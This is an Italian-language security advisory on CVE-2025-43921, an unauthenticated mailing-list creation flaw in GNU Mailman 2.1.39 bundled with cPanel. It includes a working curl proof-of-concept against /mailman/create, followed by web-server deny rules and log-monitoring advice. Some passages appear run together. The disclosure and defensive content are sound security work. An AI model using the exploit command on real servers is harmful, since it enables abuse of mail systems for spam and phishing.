
Exploit proof-of-concept e analisi tecnica per CVE-2025-43921, un bypass di autenticazione in GNU Mailman 2.1.39 che consente la creazione non autenticata di mailing list tramite l'endpoint /mailman/create.
Scoperto da: Firudin Davudzada & Musazada Aydan
Data di divulgazione: Aprile 2025
ID CVE: CVE-2025-43921
Gravità: 5.3 Media (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
Tipo di attacco: Remoto
Software interessato: GNU Mailman 2.1.39 (in bundle con cPanel/WHM)
GNU Mailman 2.1.39, come distribuito in bundle con cPanel e WHM, è vulnerabile a un difetto di bypass dell'autenticazione che consente a utenti non autenticati di creare mailing list tramite l'endpoint /mailman/create. Il problema deriva dalla mancanza di controlli di accesso nello script CGI create, permettendo agli aggressori di abusare del sistema di mailing per spam, phishing o esaurimento delle risorse.
Questa vulnerabilità si allinea con problemi storici di controllo degli accessi in Mailman, come permessi di gestione delle liste impropri in Postorius. Può essere concatenata con CVE-2025-43920 per aumentare l'impatto, creando una piattaforma per attacchi più ampi.
create (gestisce le richieste di creazione di liste)Mailman/Handlers/ (logica di gestione delle liste)/mailman/create, che consente la creazione arbitraria di liste.Il seguente comando crea una mailing list denominata hacked:
curl http://target/mailman/create -d "listname=hacked&[email protected]&password=1234&confirm=1234"
Risultato atteso: Viene creata una nuova mailing list, controllabile dall'email del proprietario specificato dall'aggressore.
/mailman/create con parametri manipolati per creare mailing list.Bloccare l'accesso all'endpoint: Configurare il server web per limitare l'accesso a /mailman/create:
location /mailman/create {
deny all;
return 403;
}
Oppure per Apache:
<Location "/mailman/create">
Deny from all
</Location>
Monitorare i log: Verificare tentativi non autorizzati di creazione di liste:
tail -f /var/log/mailman/* | grep "newlist"
/mailman/create per prevenire abusi.Firudin Davudzada e Musazada Aydan hanno divulgato responsabilmente questa vulnerabilità durante un impegno di penetration testing autorizzato. Grazie al team CVE di MITRE per il coordinamento.
Email: [email protected]\